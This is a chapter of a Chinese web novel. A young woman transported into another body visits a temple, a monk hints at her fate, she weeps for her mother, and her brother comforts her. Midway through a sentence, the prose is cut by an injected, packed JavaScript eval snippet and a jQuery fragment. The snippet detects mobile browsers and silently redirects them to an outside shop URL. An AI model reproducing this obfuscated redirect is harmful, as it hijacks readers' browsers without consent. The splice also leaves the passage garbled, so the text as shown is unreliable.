陈知微走路没那么便利,她们便一走一停。
路过最大的那个院子时,里面的丫鬟警惕地瞅着她们,生怕她们靠近了要生出事来。
吉祥撇了撇嘴:“侯府的人就是不一样,瞅那一个个眼神,跟要把你扒光似的。倒显得我们穷酸了。”
“别瞎说话。”如意就嫌吉祥嘴上没把门。
她拉着陈知微走快了几步才道:“那来的定是荣安侯府家的家眷。这段时间荣安侯府可不安宁了,京城里沸沸扬扬说得全是他们家的事呢。”
“这时间来寺庙,怕也跟咱大公子一样病急乱投医。”
这事吉祥倒是不知道,她不比如意能出去采买,这段时间三小姐又出事,更是两耳不闻窗外事了。
如意见陈知微也跟吉祥一样立着耳朵听,接着低声道:“荣安侯小侯爷,落水了!”
“啊?!”吉祥捂住嘴惊呼。
“就在咱小姐第一次溺水的那一日,全京城的大夫都去了侯府呢,要不然咱能等大夫等那么久?而且听说差点救不回来,都没有呼吸了。后来荣安侯去请了太医回来,才算救回一条命。”
“那不是跟咱小姐之前一样?”
“咱们小姐幸运多了,醒来后好好的,看着还越来越好了呢。倒是那位小侯爷,有消息说两个腿都不能走路了。”
“那岂不是残废了?!”
如意唏嘘:“可不是嘛,本来风光无限的小侯爷爷,如今变成这样,侯府上下都乱成一窝粥了。而且最令人害怕的是,荣安侯夫人非说小侯爷是被人害的,荣安侯府的大门闭了很多天了。”
陈知微怔忡,他们两个人的命运倒是挺相似的,只是她是用残缺之身换来了康健,那人却失去了康健,她知道这种痛苦。
更何况,古代的医疗和设施都比现代差得远了,怕是要受更大的罪。
“今日来的应该是荣安侯夫人,为小侯爷祈愿求福,她该是最伤心的,毕竟就这一个儿子。”
吉祥道:“管他们做什么,瘦死的骆驼比马大,反正只要咱们小姐平平安安就好了。”
三人走着走着就走到了前面宝殿,香火味诵经声祈祷声都涌过来。
吉祥去向沙弥取香,如意照看着陈知微。
陈知微仰头,宝殿中的金灿灿佛像高大耸立,一手托莲,一手向下伸出手心里的法印,眉眼垂着,表情悲悯,顶上的藻井幽深,云纹中间盘踞着金龙。
陈知微心中震撼,佛像前信徒百千,都向其叩首。
陈知微像被吸进去一般,不由自主往前走了两步。
“小姐小心。”如意拽住她不让她往人堆里去。
“大公子交了许多香火钱呢,但愿这佛祖灵验真能保佑我们。”吉祥走过来递了几根香说道。
“若不灵验哪有这么多人日日夜夜拜啊。”如意笑道。
“小姐就求自己健健康康的就行。”她给陈知微手里塞了三根香,牵着她找了中间一块空地,拜了三拜。
等陈知微拜完,她将陈知微牵到角落一个小沙弥那请人看顾,“小姐在这等我们一等,我们去给父母姐妹求个安康就回来。”
陈知微点点头。
她百无聊赖地站那,小沙弥倒是很紧张她,时不时在敲木鱼的间隙抬头看她一眼。
陈知微不想再看威严的佛像和深拜的信众,就去盯小沙弥。
她这一看才发现,这块角落有些暗,小沙弥后面有一双眼睛一直在看着她。
见陈知微发现了,那人从小沙弥背后站起来,小沙弥很机灵,捧起木鱼就飞快地跑了。
“施主。”那人穿着灰白的僧袍,站起来个子很高。
他往前走了两步离陈知微近些,顶上的窗和桌案上的烛光照亮他的身形。
这是个面目柔和端正,年岁约莫二十七八岁的和尚。
他合掌施礼后还是目光灼灼地看着陈知微。
陈知微往后退了半步,有些警惕。
那和尚笑起来,面容像被佛光照着,竟然跟身后的佛像有两分相似,带着点悲悯天人的俯视。
“陈姑娘近来可好?”
陈知微惊讶他知道自己的姓氏:“你认得我?”
和尚微微点头:“算识得也算不识得。”
陈知微觉得他有点故弄玄虚了,不太想搭理了,封建迷信还是要不得,这跟现代的和尚没啥区别。
和尚对她轻慢的表情也不恼,只说:“当初陈公子带陈姑娘来的时候,我便看出来陈姑娘魂魄太轻,但福泽深厚,日后自有一番际遇,不再困于混沌。”
他笑道:“如今看来,确实如此。”
陈知微翻了个白眼,一定是通用话术。
这和尚怎么会知道如今这个壳子里的魂早换了另一个,他说的陈姑娘也不是现在的陈姑娘。
和尚捧着木鱼敲了一下,声音脆响,如水滴般在她脑子里泛起一片波澜。
陈知微多日来的昏沉奇迹般地消散了。
“你……”她惊讶。
和尚看透一切般道:“这世界上少有的大机缘降在你身上,无论是福是祸,你只坦然接受就好了。”
陈知微一震,急切地问:“我想回去,我还能回去吗?!”
和尚只笑:“陈姑娘,既来之则安之。”
陈知微扯住那和尚的袖子:“可是,我不是这里的人,那个陈姑娘又去了哪里?这里,我经历的到底是真的假的?”
“她自有她的命运,这世间虚虚实实,实实虚虚,你便当游历一场又有何妨,放过自己亦放过别人。”
“可是……”陈知微话没说完眼泪就先掉了下来。
和尚挡开她的手,嘴里念了一串经文,叹息道:“陈姑娘,好生活着吧。”
陈知微泪眼模糊,脚下的地板又硬又软,最后还是变成了坚硬的,她踩在上面还是飘飘然。从飘飘然变成脚踏实地。
“小姐。”一双手搀住她的胳膊。
如意看着走远的和尚,奇怪道:“怎来了个师父,那小沙弥呢,他可是跟小姐说了些什么?”
如意一转眼:“哎呀,小姐怎么哭了?”
她忙喊吉祥,掏出帕子给陈知微擦满眼满脸的泪。
“我想,我想回家……”陈知微哽咽道:“我想见到我妈,我后悔了……”
她乌泱泱地说一通,问不出个所以然来,差点把如意急死。
只能匆匆抱着搀着陈知微往后院走。
正遇上来寻找她们的春山,赶忙抬去了陈见月的屋里。
如意站在桌边满脸焦急道:“本来好好的,我们去上了个香,转眼看见小姐面前站着个和尚,便没急,那和尚面朝我们还挺和善的,我们觉着是小姐有缘便停了会才过去。”
“那和尚还念经,等我们来了他就走了,谁知小姐之后哭得直让人心疼,嘴里不停说着想回家,想,想大夫人了。”
吉祥也怒冲冲地:“定是那和尚惹得吧,就该找他们去,寺里的和尚哪能这么没规章的。”
陈见月伸手给陈知微擦泪,倒是没太大反应。
春山见状便拦住了吉祥。
如意很难过:“许是我们两个太马虎,总是照顾不好小姐,真是有愧大夫人在天之灵。”
陈见月闻言喉头哽咽:“不怨你们,知微她,生来便要经历磨难的。是我这个哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701214|208184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哥不好,她的泪流的越多,越是我的失责。”
他收整了几篇经文,又带了两罐好茶,携着陈知微往和尚们住的地方去。
“知微想家了,我便带她早些去拜过缘华师父,受过佛礼明日就早些叫马车,启程回去吧。”
如意擦了泪点头。
陈知微也不知道自己怎么了,她以往明明不爱哭,就算刚发生灾祸,只勉强保住两条腿不用截肢,疼的厉害了她也不哭。
知道她爸死了,她妈短短几天头发白了大片,她躺在床上咬牙冲她妈笑,就怕她妈一蹶不振。
就算是后来被两边家里的亲戚嫌弃谩骂,陈知微也不在乎,她就怕她妈撑不住。在他们说她妈难听话的时候,她还抄起凳子龇牙咧嘴要砸死他们呢。
就是在她妈摸着她两条腿哭着说“我家小微以后再也跳不了舞了可怎么办呀!”
陈知微笑得特难看,说:“反正我本来也不喜欢跳舞。”
晚上自己缩在被子里摸着没感觉的腿哭了半夜。
只要有她妈她什么也不怕,可是,等她妈也嫌弃她了呢?
给她挪轮椅时母女俩一起摔在地上,她受不住了朝陈知微脸上扇巴掌的时候,陈知微就知道,她给她妈添大麻烦了,还不如跟她爸一样直接走了。
她妈漂亮,没有她这个拖油瓶能过得更好。
陈知微就是这么想的,就算现在也这么想,但是她真这样做了,才觉得自己受不了,也不敢猜她妈怎么样了。
陈见月搂抱着陈知微好歹是到了禅房,他在外面喊人,里面出来个小沙弥。
“缘华师父可在?”
小沙弥使了个礼,好奇地看着他们道:“师父不在。”
“那在何处,小生实在有紧要事拜见缘华师父。”
小沙弥摇了摇头:“那就不巧了,我师父刚走了。”
陈见月皱眉不解:“为何刚回来又走了?”
小沙弥只摇头说不知。
随后他眼一亮,看见抬脸的陈知微,激动道:“这位姑娘在宝殿前与我师父见过面的。”
吉祥也上前怪道:“这不就是宝殿里那个小沙弥,我们就是托他顾看着小姐的,谁成想居然如此不靠谱!”
小沙弥挠了挠头。
陈见月却理清楚了要害,他道:“你是说缘华师父已与家妹见过交谈过了?”
“嗯,”小沙弥道:“我师父看见这位姑娘便支开了我。”
陈见月低头看了看陈知微,朝小沙弥拱了拱手:“多谢小师傅,那我们就不在此叨扰了。”
他眉间的焦急情绪散了大半,只细心跟陈知微擦泪。
“也不知他与你说了什么,缘华师父本就十分难寻,看来我家知微是个有缘分的。”
如意“啊”了声:“原来那和尚就是缘华师父啊,竟如此年轻。”
回了客院,陈知微后面已经流不出泪了,嘴里嘟囔些别人怎么听也听不懂的话语。
等她哭累了,吉祥如意给她脱了外衣和鞋袜让她躺下,没一会她就抽噎着睡着了。
窄窄的脸上都是泪痕。
陈见月心疼地用湿帕子沾了又沾。
“小姐这到底是怎么了,会好吗?”吉祥在旁边急得直跺脚。
陈见月没说话,过了会低声道:“我去拜一拜,你们看着她吧。”
外面吵嚷的厉害,几个小沙弥在一群女眷里面急得团团转还是压不下来声音。
陈见月将门窗都关严,听说是侯府夫人念经时想起儿子哭晕了过去。
陈见月知道侯府的风波,也见过那位眼高于顶十分风光的小侯爷,只叹人生无常,福祸相依。